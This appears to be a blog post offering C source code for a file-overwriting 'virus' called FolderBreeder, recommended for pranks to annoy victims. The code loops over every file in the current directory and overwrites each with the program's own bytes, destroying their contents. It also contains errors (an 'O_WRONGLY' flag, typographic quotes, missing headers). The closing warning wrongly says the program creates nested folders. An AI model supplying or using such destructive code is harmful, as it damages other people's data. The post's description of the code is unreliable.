Create your own Virus using C Source Code


The Following is the C Source Code :-

#include<stdio.h>
#include<conio.h>
#include<stdlib.h>
#include<process.h>

void main(int argc,char* argv[])
 {
  char buf[512];
  int source,target,byt,done;

  struct ffblk ffblk;
  clrscr();
  textcolor(2);
  cprintf(”————————————————————————–”);
  printf(”\nVirus: FolderBreeder 1.0\n Launching...)\n”);
  cprintf(”————————————————————————–”);

  done = findfirst(”*.*”,&ffblk,0);

  while (!done)
  {
   printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”FolderBreeder”);
   source=open(argv[0],O_RDONLY|O_BINARY);
   target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
    while(1)
    {
     byt=read(source,buf,512);
     if(byt>0)
       write(target,buf,byt);
     else
       break;
   }
  close(source);
  close(target);
  done = findnext(&ffblk);
 }

 getch();
}

Warning:-
This virus creates folder in a folder in folder. So, guys use it on your own reponsiblity.
You can use this for pranks and the user will get pissed off !!!!


  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

0 comments:

Post a Comment